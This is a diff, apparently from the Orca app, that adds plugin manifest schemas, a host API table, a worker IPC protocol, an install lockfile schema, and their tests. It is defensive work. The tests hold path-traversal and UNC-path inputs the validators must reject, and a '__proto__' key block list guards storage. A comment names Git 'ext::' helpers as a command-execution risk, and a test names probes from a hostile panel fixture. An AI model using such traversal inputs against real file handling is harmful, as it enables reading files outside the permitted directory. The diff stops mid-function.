+    name: 'Content pack',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    contributes,
+    capabilities: []
+  }
+}
+
+describe('content-pack manifest contributions', () => {
+  it('accepts the documented P1 contribution set without a worker', () => {
+    const parsed = pluginManifestSchema.parse(
+      manifest({
+        languagePacks: [{ locale: 'pt-BR', path: 'locales/pt-BR.json' }],
+        commands: [
+          {
+            id: 'workspace.openTasks',
+            title: 'Open tasks',
+            context: 'worktree',
+            action: 'view.tasks'
+          }
+        ],
+        keybindings: [{ command: 'workspace.openTasks', key: 'Mod+Alt+T' }],
+        vmRecipes: [{ path: 'recipes/fly.json' }],
+        agents: [{ path: 'agents/custom.json' }]
+      })
+    )
+
+    expect(parsed.main).toBeUndefined()
+    expect(parsed.contributes.languagePacks[0]?.locale).toBe('pt-BR')
+    expect(parsed.contributes.keybindings[0]?.key).toBe('Mod+Alt+T')
+  })
+
+  it('defaults every contribution registry to an empty array', () => {
+    const parsed = pluginManifestSchema.parse(manifest({}))
+
+    expect(parsed.contributes).toEqual({
+      panels: [],
+      commands: [],
+      events: [],
+      languagePacks: [],
+      keybindings: [],
+      vmRecipes: [],
+      agents: []
+    })
+  })
+
+  it('rejects the removed plugin skills contribution', () => {
+    expect(parsePluginManifest(manifest({ skills: [{ path: 'skills' }] }))).toMatchObject({
+      ok: false,
+      error: expect.stringContaining('Unrecognized key')
+    })
+  })
+
+  it('still requires a worker entry for non-alias commands', () => {
+    expect(
+      parsePluginManifest(
+        manifest({ commands: [{ id: 'content-pack.run', title: 'Run content pack' }] })
+      )
+    ).toMatchObject({ ok: false, error: expect.stringContaining('worker command') })
+  })
+
+  it.each([
+    [
+      'unknown alias target',
+      {
+        commands: [{ id: 'open', title: 'Open', action: 'missing.action' }]
+      },
+      'unknown built-in action'
+    ],
+    [
+      'unknown command reference',
+      { keybindings: [{ command: 'missing', key: 'Mod+K' }] },
+      'unknown contributed command'
+    ],
+    [
+      'invalid chord',
+      {
+        commands: [{ id: 'open', title: 'Open', action: 'view.tasks' }],
+        keybindings: [{ command: 'open', key: 'Mod+NotAKey' }]
+      },
+      'key'
+    ],
+    [
+      'global binding for a worktree command',
+      {
+        commands: [{ id: 'open', title: 'Open', context: 'worktree', action: 'view.tasks' }],
+        keybindings: [{ command: 'open', key: 'Mod+K', when: 'global' }]
+      },
+      'command context'
+    ],
+    [
+      'platform-equivalent duplicate chords',
+      {
+        commands: [
+          { id: 'first', title: 'First', action: 'view.tasks' },
+          { id: 'second', title: 'Second', action: 'sidebar.left.toggle' }
+        ],
+        keybindings: [
+          { command: 'first', key: 'Mod+K' },
+          { command: 'second', key: 'Ctrl+K' }
+        ]
+      },
+      'duplicate keybinding'
+    ]
+  ])('rejects %s', (_label, contributes, error) => {
+    expect(parsePluginManifest(manifest(contributes))).toMatchObject({
+      ok: false,
+      error: expect.stringContaining(error)
+    })
+  })
+
+  it.each([
+    ['language pack', { languagePacks: [{ locale: 'en_US', path: 'locale.json' }] }],
+    ['language pack path', { languagePacks: [{ locale: 'pt-BR', path: '../outside.json' }] }],
+    ['VM recipe', { vmRecipes: [{ path: '\\\\server\\recipe.json' }] }],
+    ['agent profile', { agents: [{ path: 'agents/../profile.json' }] }]
+  ])('rejects unsafe or malformed %s contributions', (_label, contributes) => {
+    expect(parsePluginManifest(manifest(contributes)).ok).toBe(false)
+  })
+
+  it('rejects duplicate ids, locales, paths, and bindings', () => {
+    const parsed = pluginManifestSchema.safeParse(
+      manifest({
+        languagePacks: [
+          { locale: 'pt-BR', path: 'pt-br.json' },
+          { locale: 'pt-br', path: 'other.json' }
+        ],
+        commands: [{ id: 'open', title: 'Open', action: 'view.tasks' }],
+        keybindings: [
+          { command: 'open', key: 'Mod+T' },
+          { command: 'open', key: 'mod+t' }
+        ]
+      })
+    )
+
+    expect(parsed.success).toBe(false)
+    if (!parsed.success) {
+      expect(parsed.error.issues.map((issue) => issue.message)).toEqual(
+        expect.arrayContaining([
+          'duplicate language pack locale: pt-br',
+          'duplicate keybinding: mod+t'
+        ])
+      )
+    }
+  })
+})
diff --git a/src/shared/plugins/plugin-content-pack-contributions.ts b/src/shared/plugins/plugin-content-pack-contributions.ts
new file mode 100644
index 000000000..bff64e26a
--- /dev/null
+++ b/src/shared/plugins/plugin-content-pack-contributions.ts
@@ -0,0 +1,55 @@
+import { z } from 'zod'
+import { pluginCommandIdSchema, pluginRelativePathSchema } from './plugin-manifest-fields'
+import { normalizeKeybinding } from '../keybindings'
+
+export const PLUGIN_LANGUAGE_PACK_LIMIT = 16
+export const PLUGIN_KEYBINDING_LIMIT = 256
+export const PLUGIN_VM_RECIPE_LIMIT = 64
+export const PLUGIN_AGENT_PROFILE_LIMIT = 64
+
+// Why: locale ids become i18next bundle keys and filenames. This bounded BCP
+// 47 subset covers current community packs without accepting path syntax.
+export const pluginLocaleIdSchema = z
+  .string()
+  .min(2)
+  .max(35)
+  .regex(/^[A-Za-z]{2,3}(?:-[A-Za-z0-9]{2,8})*$/, 'must be a portable locale identifier')
+
+export const pluginLanguagePackContributionSchema = z
+  .object({
+    locale: pluginLocaleIdSchema,
+    path: pluginRelativePathSchema
+  })
+  .strict()
+
+export const pluginKeybindingContributionSchema = z
+  .object({
+    command: pluginCommandIdSchema,
+    key: z
+      .string()
+      .min(1)
+      .max(128)
+      .transform((value, ctx) => {
+        const normalized = normalizeKeybinding(value)
+        if (!normalized.ok) {
+          ctx.addIssue({ code: 'custom', message: normalized.error })
+          return z.NEVER
+        }
+        return normalized.value
+      }),
+    when: z.enum(['global', 'worktree']).optional()
+  })
+  .strict()
+
+export const pluginVmRecipeContributionSchema = z
+  .object({ path: pluginRelativePathSchema })
+  .strict()
+
+export const pluginAgentProfileContributionSchema = z
+  .object({ path: pluginRelativePathSchema })
+  .strict()
+
+export type PluginLanguagePackContribution = z.infer<typeof pluginLanguagePackContributionSchema>
+export type PluginKeybindingContribution = z.infer<typeof pluginKeybindingContributionSchema>
+export type PluginVmRecipeContribution = z.infer<typeof pluginVmRecipeContributionSchema>
+export type PluginAgentProfileContribution = z.infer<typeof pluginAgentProfileContributionSchema>
diff --git a/src/shared/plugins/plugin-demo-fixture.test.ts b/src/shared/plugins/plugin-demo-fixture.test.ts
new file mode 100644
index 000000000..d499cb4e2
--- /dev/null
+++ b/src/shared/plugins/plugin-demo-fixture.test.ts
@@ -0,0 +1,20 @@
+import { readFile } from 'node:fs/promises'
+import { join } from 'node:path'
+import { pathToFileURL } from 'node:url'
+import { describe, expect, it } from 'vitest'
+import { pluginManifestSchema } from './plugin-manifest'
+
+describe('hello Orca plugin fixture', () => {
+  it('uses an ESM entry that remains loadable outside a type-module package', async () => {
+    const root = join(process.cwd(), 'examples', 'plugins', 'hello-orca')
+    const manifest = pluginManifestSchema.parse(
+      JSON.parse(await readFile(join(root, 'orca-plugin.json'), 'utf8'))
+    )
+
+    expect(manifest.main).toBe('main.mjs')
+    const workerModule = (await import(pathToFileURL(join(root, manifest.main!)).href)) as {
+      default?: unknown
+    }
+    expect(workerModule.default).toBeTypeOf('function')
+  })
+})
diff --git a/src/shared/plugins/plugin-events.ts b/src/shared/plugins/plugin-events.ts
new file mode 100644
index 000000000..118d0e376
--- /dev/null
+++ b/src/shared/plugins/plugin-events.ts
@@ -0,0 +1,43 @@
+import { z } from 'zod'
+import type { PluginEventName } from './plugin-manifest'
+
+/**
+ * Payload contracts for the v0 plugin event set (worktree lifecycle + agent
+ * status only). Payloads are bounded projections — never raw runtime
+ * objects — so nothing sensitive (absolute repo paths beyond the worktree's
+ * own, remotes, credentials) can leak through the event stream.
+ */
+
+export const worktreeCreatedPayloadSchema = z.object({
+  worktreeId: z.string().min(1).max(2048),
+  path: z
+    .string()
+    .min(1)
+    .max(32 * 1024),
+  branch: z.string().max(1024)
+})
+
+export const worktreeRemovedPayloadSchema = z.object({
+  worktreeId: z.string().min(1).max(2048),
+  path: z
+    .string()
+    .min(1)
+    .max(32 * 1024)
+})
+
+export const agentStatusChangedPayloadSchema = z.object({
+  worktreeId: z.string().min(1).max(2048).nullable(),
+  paneKey: z.string().min(1).max(2048),
+  state: z.string().min(1).max(256),
+  receivedAt: z.number().finite().positive()
+})
+
+export const PLUGIN_EVENT_PAYLOAD_SCHEMAS: Record<PluginEventName, z.ZodTypeAny> = {
+  'worktree.created': worktreeCreatedPayloadSchema,
+  'worktree.removed': worktreeRemovedPayloadSchema,
+  'agent.status.changed': agentStatusChangedPayloadSchema
+}
+
+export type PluginWorktreeCreatedPayload = z.infer<typeof worktreeCreatedPayloadSchema>
+export type PluginWorktreeRemovedPayload = z.infer<typeof worktreeRemovedPayloadSchema>
+export type PluginAgentStatusChangedPayload = z.infer<typeof agentStatusChangedPayloadSchema>
diff --git a/src/shared/plugins/plugin-extension-registry.ts b/src/shared/plugins/plugin-extension-registry.ts
new file mode 100644
index 000000000..75d725048
--- /dev/null
+++ b/src/shared/plugins/plugin-extension-registry.ts
@@ -0,0 +1,98 @@
+/**
+ * Typed extension-point registry. An extension point is a named, typed slot
+ * (like a Go interface value); plugins register implementations and hosts
+ * resolve them without compile-time knowledge of the implementor. Runtime
+ * registration because plugins load (and unload) dynamically.
+ *
+ * All P0 points are EXPERIMENTAL — excluded from compatibility guarantees.
+ */
+
+declare const extensionPointBrand: unique symbol
+
+export type PluginExtensionPoint<T> = {
+  readonly key: string
+  /** Experimental points may change or vanish between releases. */
+  readonly experimental: boolean
+  // Why: phantom field carries T so register/resolve stay type-safe per point
+  // even though the runtime value is just `{ key, experimental }`.
+  readonly [extensionPointBrand]?: T
+}
+
+export function definePluginExtensionPoint<T>(
+  key: string,
+  options: { experimental: boolean }
+): PluginExtensionPoint<T> {
+  return { key, experimental: options.experimental }
+}
+
+/** A contributed command whose handler lives in the plugin's worker. The
+ *  proxy lazily activates the worker on first invoke. */
+export type PluginWorkerCommand = {
+  readonly commandId: string
+  invoke(args?: unknown): Promise<unknown>
+}
+
+export const PLUGIN_COMMAND_EXTENSION_POINT = definePluginExtensionPoint<PluginWorkerCommand>(
+  'command',
+  { experimental: true }
+)
+
+export type PluginExtensionRegistration<T> = {
+  pluginId: string
+  /** Contribution id within the plugin; addresses one of several providers. */
+  providerId?: string
+  implementation: T
+}
+
+export type PluginExtensionRegistry = {
+  register<T>(
+    point: PluginExtensionPoint<T>,
+    pluginId: string,
+    implementation: T,
+    providerId?: string
+  ): () => void
+  resolveAll<T>(point: PluginExtensionPoint<T>): PluginExtensionRegistration<T>[]
+  resolve<T>(point: PluginExtensionPoint<T>, pluginId: string, providerId?: string): T | null
+  clearPlugin(pluginId: string): void
+}
+
+export function createPluginExtensionRegistry(): PluginExtensionRegistry {
+  const byPoint = new Map<string, PluginExtensionRegistration<unknown>[]>()
+
+  return {
+    register(point, pluginId, implementation, providerId) {
+      const registrations = byPoint.get(point.key) ?? []
+      const entry = { pluginId, providerId, implementation }
+      byPoint.set(point.key, [...registrations, entry])
+      return () => {
+        const current = byPoint.get(point.key) ?? []
+        byPoint.set(
+          point.key,
+          current.filter((registration) => registration !== entry)
+        )
+      }
+    },
+    resolveAll<T>(point: PluginExtensionPoint<T>) {
+      return (byPoint.get(point.key) ?? []) as PluginExtensionRegistration<T>[]
+    },
+    resolve<T>(point: PluginExtensionPoint<T>, pluginId: string, providerId?: string) {
+      const registrations = (byPoint.get(point.key) ?? []) as PluginExtensionRegistration<T>[]
+      // Why: without a providerId the first registration wins — only safe for
+      // single-provider plugins; multi-provider callers must address by id.
+      const match = registrations.find(
+        (registration) =>
+          registration.pluginId === pluginId &&
+          (providerId === undefined || registration.providerId === providerId)
+      )
+      return match?.implementation ?? null
+    },
+    clearPlugin(pluginId) {
+      for (const [key, registrations] of byPoint) {
+        byPoint.set(
+          key,
+          registrations.filter((registration) => registration.pluginId !== pluginId)
+        )
+      }
+    }
+  }
+}
diff --git a/src/shared/plugins/plugin-host-api.ts b/src/shared/plugins/plugin-host-api.ts
new file mode 100644
index 000000000..b4f6fc41d
--- /dev/null
+++ b/src/shared/plugins/plugin-host-api.ts
@@ -0,0 +1,269 @@
+import { z } from 'zod'
+import { PLUGIN_EVENT_NAMES } from './plugin-manifest'
+import type { PluginCapabilityKind } from './plugin-capabilities'
+
+/**
+ * Host API v0 — the separately-versioned public facade plugins call. Every
+ * method carries params AND result schemas plus capability/mutation metadata;
+ * handlers (bound in main) delegate to runtime services. The raw runtime-RPC
+ * registry is never exposed: its methods have no result schemas and evolve at
+ * internal velocity.
+ *
+ * This table is the single source of truth for the capability gate, the panel
+ * bridge action set, and the worker SDK. Electron-free by design: desktop
+ * main, headless serve, the relay conformance path, and tests all import it.
+ *
+ * EXPERIMENTAL: additive-only within pluginApi major 1 once frozen; no
+ * stability promises before then.
+ */
+
+export const PANEL_ACTION_TEXT_MAX_LENGTH = 4096
+export const PLUGIN_WORKSPACE_TERMINAL_LIMIT = 50
+export const PLUGIN_WORKSPACE_LABEL_MAX_LENGTH = 512
+export const PLUGIN_TERMINAL_ID_MAX_LENGTH = 1024
+
+const workspaceReadContextParams = z.object({}).strict().optional()
+const workspaceReadContextResult = z
+  .object({
+    branch: z.string().max(PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
+    displayName: z.string().max(PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
+    /** Terminals of the focused worktree, so callers can address a specific
+     *  terminal id — the API has no "active terminal" write target. */
+    terminals: z
+      .array(
+        z
+          .object({
+            id: z.string().min(1).max(PLUGIN_TERMINAL_ID_MAX_LENGTH)
+          })
+          .strict()
+      )
+      .max(PLUGIN_WORKSPACE_TERMINAL_LIMIT)
+  })
+  .strict()
+  .nullable()
+
+const terminalSendTextParams = z.object({
+  /** Explicit target. Never "the active terminal": a focus change must not
+   *  redirect a delayed plugin write into another pane (design-doc rule). */
+  terminalId: z.string().min(1).max(PLUGIN_TERMINAL_ID_MAX_LENGTH),
+  text: z.string().min(1).max(PANEL_ACTION_TEXT_MAX_LENGTH),
+  enter: z.boolean().default(false)
+})
+const terminalSendTextResult = z.object({ accepted: z.boolean() })
+
+const notificationsShowParams = z.object({
+  title: z.string().min(1).max(120),
+  body: z.string().max(1000).optional()
+})
+const notificationsShowResult = z.object({ delivered: z.boolean() })
+
+const RESERVED_STORAGE_KEYS = new Set(['__proto__', 'prototype', 'constructor'])
+const storageKeySchema = z
+  .string()
+  .min(1)
+  .max(256)
+  .refine((key) => !RESERVED_STORAGE_KEYS.has(key), 'reserved storage key')
+const pluginJsonValueSchema = z.json()
+/** Caps keep per-plugin storage an honest key-value store, not a database. */
+export const PLUGIN_STORAGE_VALUE_MAX_BYTES = 256 * 1024
+export const PLUGIN_STORAGE_TOTAL_MAX_BYTES = 5 * 1024 * 1024
+export const PLUGIN_STORAGE_KEY_LIMIT = 1024
+
+const storageGetParams = z.object({ key: storageKeySchema })
+const storageGetResult = z.object({ value: pluginJsonValueSchema })
+const storageSetParams = z.object({ key: storageKeySchema, value: pluginJsonValueSchema })
+const storageSetResult = z.object({ ok: z.literal(true) })
+const storageDeleteParams = z.object({ key: storageKeySchema })
+const storageDeleteResult = z.object({ ok: z.literal(true) })
+const storageKeysParams = z.object({}).strict().optional()
+const storageKeysResult = z.object({ keys: z.array(z.string()).max(PLUGIN_STORAGE_KEY_LIMIT) })
+
+const secretsGetParams = z.object({ key: storageKeySchema })
+const secretsGetResult = z.object({ value: z.string().nullable() })
+const secretsSetParams = z.object({ key: storageKeySchema, value: z.string().max(64 * 1024) })
+const secretsSetResult = z.object({ ok: z.literal(true) })
+const secretsDeleteParams = z.object({ key: storageKeySchema })
+const secretsDeleteResult = z.object({ ok: z.literal(true) })
+
+const settingsGetParams = z.object({}).strict().optional()
+const settingsGetResult = z.object({ settings: z.record(z.string(), pluginJsonValueSchema) })
+const settingsSetParams = z.object({ key: storageKeySchema, value: pluginJsonValueSchema })
+const settingsSetResult = z.object({ ok: z.literal(true) })
+
+const eventsSubscribeParams = z.object({
+  events: z.array(z.enum(PLUGIN_EVENT_NAMES)).min(1).max(PLUGIN_EVENT_NAMES.length)
+})
+const eventsSubscribeResult = z.object({ subscribed: z.array(z.enum(PLUGIN_EVENT_NAMES)) })
+
+export type PluginHostMethodSpec = {
+  name: string
+  /** pluginApi minor the method appeared in (`1.0` for the v0 set). */
+  since: string
+  /** Machine-readable resource boundary enforced by the host binding. */
+  scope: 'active-worktree' | 'explicit-terminal' | 'plugin-private' | 'desktop' | 'host-events'
+  stability: 'experimental'
+  capability: PluginCapabilityKind
+  /** Mutations are audit-logged with actor `plugin:<id>`. */
+  mutation: boolean
+  /** Whether sandboxed panels may call this over the postMessage bridge.
+   *  Workers can call every method. */
+  panel: boolean
+  params: z.ZodTypeAny
+  result: z.ZodTypeAny
+}
+
+const spec = <P extends z.ZodTypeAny, R extends z.ZodTypeAny>(
+  entry: Omit<PluginHostMethodSpec, 'params' | 'result' | 'stability'> & {
+    params: P
+    result: R
+  }
+): PluginHostMethodSpec => ({ ...entry, stability: 'experimental' })
+
+export const PLUGIN_HOST_API_V0: readonly PluginHostMethodSpec[] = [
+  spec({
+    name: 'workspace.readContext',
+    since: '1.0',
+    scope: 'active-worktree',
+    capability: 'workspace:read',
+    mutation: false,
+    panel: true,
+    params: workspaceReadContextParams,
+    result: workspaceReadContextResult
+  }),
+  spec({
+    name: 'terminal.sendText',
+    since: '1.0',
+    scope: 'explicit-terminal',
+    capability: 'terminal:send',
+    mutation: true,
+    panel: true,
+    params: terminalSendTextParams,
+    result: terminalSendTextResult
+  }),
+  spec({
+    name: 'notifications.show',
+    since: '1.0',
+    scope: 'desktop',
+    capability: 'notifications:show',
+    mutation: true,
+    panel: true,
+    params: notificationsShowParams,
+    result: notificationsShowResult
+  }),
+  spec({
+    name: 'storage.get',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'storage',
+    mutation: false,
+    panel: false,
+    params: storageGetParams,
+    result: storageGetResult
+  }),
+  spec({
+    name: 'storage.set',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'storage',
+    mutation: true,
+    panel: false,
+    params: storageSetParams,
+    result: storageSetResult
+  }),
+  spec({
+    name: 'storage.delete',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'storage',
+    mutation: true,
+    panel: false,
+    params: storageDeleteParams,
+    result: storageDeleteResult
+  }),
+  spec({
+    name: 'storage.keys',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'storage',
+    mutation: false,
+    panel: false,
+    params: storageKeysParams,
+    result: storageKeysResult
+  }),
+  spec({
+    name: 'secrets.get',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'secrets',
+    mutation: false,
+    panel: false,
+    params: secretsGetParams,
+    result: secretsGetResult
+  }),
+  spec({
+    name: 'secrets.set',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'secrets',
+    mutation: true,
+    panel: false,
+    params: secretsSetParams,
+    result: secretsSetResult
+  }),
+  spec({
+    name: 'secrets.delete',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'secrets',
+    mutation: true,
+    panel: false,
+    params: secretsDeleteParams,
+    result: secretsDeleteResult
+  }),
+  spec({
+    name: 'settings.get',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'settings:own',
+    mutation: false,
+    panel: false,
+    params: settingsGetParams,
+    result: settingsGetResult
+  }),
+  spec({
+    name: 'settings.set',
+    since: '1.0',
+    scope: 'plugin-private',
+    capability: 'settings:own',
+    mutation: true,
+    panel: false,
+    params: settingsSetParams,
+    result: settingsSetResult
+  }),
+  spec({
+    name: 'events.subscribe',
+    since: '1.0',
+    scope: 'host-events',
+    capability: 'events:subscribe',
+    mutation: false,
+    panel: false,
+    params: eventsSubscribeParams,
+    result: eventsSubscribeResult
+  })
+]
+
+const SPEC_BY_NAME = new Map(PLUGIN_HOST_API_V0.map((entry) => [entry.name, entry]))
+
+export function getPluginHostMethodSpec(name: string): PluginHostMethodSpec | null {
+  return SPEC_BY_NAME.get(name) ?? null
+}
+
+/** Actions sandboxed panels may request over the postMessage bridge. Derived
+ *  from the spec table so the panel surface can never drift from the gate. */
+export const PLUGIN_PANEL_ACTIONS = PLUGIN_HOST_API_V0.filter((entry) => entry.panel).map(
+  (entry) => entry.name
+)
+
+export function isPluginPanelAction(action: string): boolean {
+  return PLUGIN_PANEL_ACTIONS.includes(action)
+}
diff --git a/src/shared/plugins/plugin-host-protocol.ts b/src/shared/plugins/plugin-host-protocol.ts
new file mode 100644
index 000000000..e6ea15d04
--- /dev/null
+++ b/src/shared/plugins/plugin-host-protocol.ts
@@ -0,0 +1,114 @@
+import { z } from 'zod'
+import { PLUGIN_COMMAND_LIMIT, PLUGIN_EVENT_NAMES, pluginCommandIdSchema } from './plugin-manifest'
+import { PLUGIN_CAPABILITY_KINDS } from './plugin-capabilities'
+
+/**
+ * Message protocol between the Orca process and the out-of-process plugin
+ * worker (child_process.fork channel). Zod-validated on both sides because
+ * the child runs third-party code — nothing it sends is trusted structurally.
+ */
+
+export const pluginWorkerInitSchema = z.object({
+  type: z.literal('init'),
+  /** Qualified `<publisher>.<id>` key. */
+  pluginId: z.string().min(1),
+  pluginRoot: z.string().min(1),
+  mainEntry: z.string().min(1),
+  /** Consented capability kinds, so the in-worker SDK can fail fast client-
+   *  side; the host re-gates every call regardless. */
+  grantedCapabilities: z.array(z.enum(PLUGIN_CAPABILITY_KINDS))
+})
+
+export const pluginWorkerInvokeCommandSchema = z.object({
+  type: z.literal('invokeCommand'),
+  callId: z.number().int().nonnegative(),
+  commandId: z.string().min(1),
+  args: z.unknown().optional()
+})
+
+export const pluginWorkerDeliverEventSchema = z.object({
+  type: z.literal('deliverEvent'),
+  eventId: z.number().int().nonnegative(),
+  event: z.enum(PLUGIN_EVENT_NAMES),
+  payload: z.unknown()
+})
+
+export const pluginWorkerHostResultSchema = z.object({
+  type: z.literal('hostResult'),
+  callId: z.number().int().nonnegative(),
+  ok: z.boolean(),
+  value: z.unknown().optional(),
+  errorCode: z.string().optional(),
+  error: z.string().optional()
+})
+
+export const pluginWorkerShutdownSchema = z.object({ type: z.literal('shutdown') })
+
+export const pluginWorkerParentMessageSchema = z.discriminatedUnion('type', [
+  pluginWorkerInitSchema,
+  pluginWorkerInvokeCommandSchema,
+  pluginWorkerDeliverEventSchema,
+  pluginWorkerHostResultSchema,
+  pluginWorkerShutdownSchema
+])
+
+export const pluginWorkerReadySchema = z.object({
+  type: z.literal('ready'),
+  /** Command ids the worker registered handlers for (⊆ manifest commands). */
+  commands: z.array(pluginCommandIdSchema).max(PLUGIN_COMMAND_LIMIT)
+})
+
+export const pluginWorkerCommandResultSchema = z.object({
+  type: z.literal('commandResult'),
+  callId: z.number().int().nonnegative(),
+  ok: z.boolean(),
+  // Why: value crosses a fork() IPC boundary, so it is structured-clone data
+  // by construction; zod treats it as opaque and callers re-validate shape.
+  value: z.unknown().optional(),
+  error: z.string().max(8192).optional()
+})
+
+export const pluginWorkerEventAckSchema = z.object({
+  type: z.literal('eventAck'),
+  eventId: z.number().int().nonnegative()
+})
+
+/** Worker→host API call (the plugin SDK's transport for host methods). */
+export const pluginWorkerHostCallSchema = z.object({
+  type: z.literal('hostCall'),
+  callId: z.number().int().nonnegative(),
+  method: z.string().min(1),
+  params: z.unknown().optional()
+})
+
+export const pluginWorkerLogSchema = z.object({
+  type: z.literal('log'),
+  level: z.enum(['info', 'warn', 'error']),
+  message: z.string().max(8192)
+})
+
+export const pluginWorkerFatalSchema = z.object({
+  type: z.literal('fatal'),
+  error: z.string().max(8192)
+})
+
+export const pluginWorkerChildMessageSchema = z.discriminatedUnion('type', [
+  pluginWorkerReadySchema,
+  pluginWorkerCommandResultSchema,
+  pluginWorkerEventAckSchema,
+  pluginWorkerHostCallSchema,
+  pluginWorkerLogSchema,
+  pluginWorkerFatalSchema
+])
+
+export type PluginWorkerParentMessage = z.infer<typeof pluginWorkerParentMessageSchema>
+export type PluginWorkerChildMessage = z.infer<typeof pluginWorkerChildMessageSchema>
+export type PluginWorkerInit = z.infer<typeof pluginWorkerInitSchema>
+
+export const PLUGIN_WORKER_READY_TIMEOUT_MS = 10_000
+export const PLUGIN_WORKER_INVOKE_TIMEOUT_MS = 30_000
+/** Idle reap: a worker with no in-flight work for this long is disposed and
+ *  re-forked on the next trigger. */
+export const PLUGIN_WORKER_IDLE_REAP_MS = 5 * 60_000
+/** Default cap on concurrently-active workers; excess activations queue. */
+export const PLUGIN_WORKER_MAX_ACTIVE_DEFAULT = 5
diff --git a/src/shared/plugins/plugin-hostile-fixture.test.ts b/src/shared/plugins/plugin-hostile-fixture.test.ts
new file mode 100644
index 000000000..27fe06eb1
--- /dev/null
+++ b/src/shared/plugins/plugin-hostile-fixture.test.ts
@@ -0,0 +1,29 @@
+import { readFile } from 'node:fs/promises'
+import { join } from 'node:path'
+import { Script } from 'node:vm'
+import { describe, expect, it } from 'vitest'
+
+describe('hostile panel fixture', () => {
+  it('is complete JavaScript and retains every containment probe', async () => {
+    const html = await readFile(
+      join(process.cwd(), 'examples', 'plugins', 'hostile-panel', 'panel.html'),
+      'utf8'
+    )
+    const script = html.match(/<script>([\s\S]*?)<\/script>/)?.[1]
+
+    expect(script).toBeTruthy()
+    if (!script) {
+      throw new Error('hostile fixture script is missing')
+    }
+    expect(() => new Script(script)).not.toThrow()
+    expect(html).toContain('self-navigation')
+    expect(html).toContain('meta-refresh-navigation')
+    expect(html).toContain('Navigation probes are opt-in')
+    expect(html).toContain("window.name = ''")
+    expect(html).toContain('oversized-message')
+    expect(html).toContain('message-flood')
+    expect(html).toContain("data.errorCode === 'rate_limited'")
+    expect(html).toContain('busy-loop')
+    expect(html.trimEnd()).toMatch(/<\/html>$/)
+  })
+})
diff --git a/src/shared/plugins/plugin-install-lockfile.test.ts b/src/shared/plugins/plugin-install-lockfile.test.ts
new file mode 100644
index 000000000..3a47c3ce6
--- /dev/null
+++ b/src/shared/plugins/plugin-install-lockfile.test.ts
@@ -0,0 +1,49 @@
+import { describe, expect, it } from 'vitest'
+import { pluginInstallSourceSchema } from './plugin-install-lockfile'
+
+describe('pluginInstallSourceSchema marketplace provenance', () => {
+  it('records both the marketplace snapshot and plugin Git ref', () => {
+    expect(
+      pluginInstallSourceSchema.parse({
+        kind: 'marketplace',
+        marketplace: {
+          url: 'https://github.com/stablyai/orca-plugins.git',
+          ref: 'main',
+          resolvedCommit: 'a'.repeat(40)
+        },
+        plugin: {
+          url: 'git@github.com:stablyai/orca-skills.git',
+          ref: 'v1.0.0'
+        }
+      })
+    ).toEqual({
+      kind: 'marketplace',
+      marketplace: {
+        url: 'https://github.com/stablyai/orca-plugins.git',
+        ref: 'main',
+        resolvedCommit: 'a'.repeat(40)
+      },
+      plugin: {
+        url: 'git@github.com:stablyai/orca-skills.git',
+        ref: 'v1.0.0'
+      }
+    })
+  })
+
+  it('requires pinned refs and an exact marketplace snapshot commit', () => {
+    expect(
+      pluginInstallSourceSchema.safeParse({
+        kind: 'marketplace',
+        marketplace: {
+          url: 'https://github.com/stablyai/orca-plugins.git',
+          ref: '',
+          resolvedCommit: 'main'
+        },
+        plugin: {
+          url: 'https://github.com/stablyai/orca-skills.git',
+          ref: ''
+        }
+      }).success
+    ).toBe(false)
+  })
+})
diff --git a/src/shared/plugins/plugin-install-lockfile.ts b/src/shared/plugins/plugin-install-lockfile.ts
new file mode 100644
index 000000000..e8de6b69f
--- /dev/null
+++ b/src/shared/plugins/plugin-install-lockfile.ts
@@ -0,0 +1,165 @@
+import { z } from 'zod'
+import { isQualifiedPluginKey } from './plugin-manifest'
+
+/**
+ * Install lockfile: records where each installed plugin came from, the exact
+ * commit it resolved to, the content hash of the installed tree, and the
+ * consent fingerprint the user was shown. A reinstall/update that does not
+ * match is a visible change, never a silent one. Adapted from community PR
+ * #5801's SHA-256 + lockfile installer pieces.
+ */
+
+/** Install content hash: legacy 128-bit SHA-256 prefix or the full digest. */
+export const PLUGIN_CONTENT_HASH_PATTERN = /^(?:[0-9a-f]{32}|[0-9a-f]{64})$/
+/** Git object id, SHA-1 or SHA-256. */
+export const PLUGIN_COMMIT_PATTERN = /^(?:[0-9a-f]{40}|[0-9a-f]{64})$/
+
+export const pluginInstallSourceSchema = z.discriminatedUnion('kind', [
+  z.object({
+    kind: z.literal('local-path'),
+    path: z
+      .string()
+      .min(1)
+      .max(32 * 1024)
+  }),
+  z.object({
+    kind: z.literal('git'),
+    url: z
+      .string()
+      .min(1)
+      .max(32 * 1024)
+      .refine(isAllowedPluginGitUrl, 'git URL must use HTTPS or SSH'),
+    /** Requested ref (`#ref` suffix); empty means the remote default branch. */
+    ref: z.string().max(4096).default('')
+  }),
+  z.object({
+    kind: z.literal('marketplace'),
+    marketplace: z.object({
+      url: z
+        .string()
+        .min(1)
+        .max(32 * 1024)
+        .refine(isAllowedPluginGitUrl, 'marketplace Git URL must use HTTPS or SSH'),
+      ref: z.string().min(1).max(4096),
+      resolvedCommit: z.string().regex(PLUGIN_COMMIT_PATTERN)
+    }),
+    plugin: z.object({
+      url: z
+        .string()
+        .min(1)
+        .max(32 * 1024)
+        .refine(isAllowedPluginGitUrl, 'plugin Git URL must use HTTPS or SSH'),
+      ref: z.string().min(1).max(4096)
+    })
+  }),
+  z.object({
+    kind: z.literal('bundled'),
+    bundleId: z.string().refine(isQualifiedPluginKey, 'invalid bundled plugin identity')
+  })
+])
+
+export type PluginInstallSource = z.infer<typeof pluginInstallSourceSchema>
+
+/** System Git supports executable remote helpers (`ext::`, custom `foo::`
+ * transports). P0 accepts network Git only over HTTPS or SSH so installing a
+ * source cannot turn URL parsing into arbitrary command execution. */
+export function isAllowedPluginGitUrl(value: string): boolean {
+  const url = value.trim()
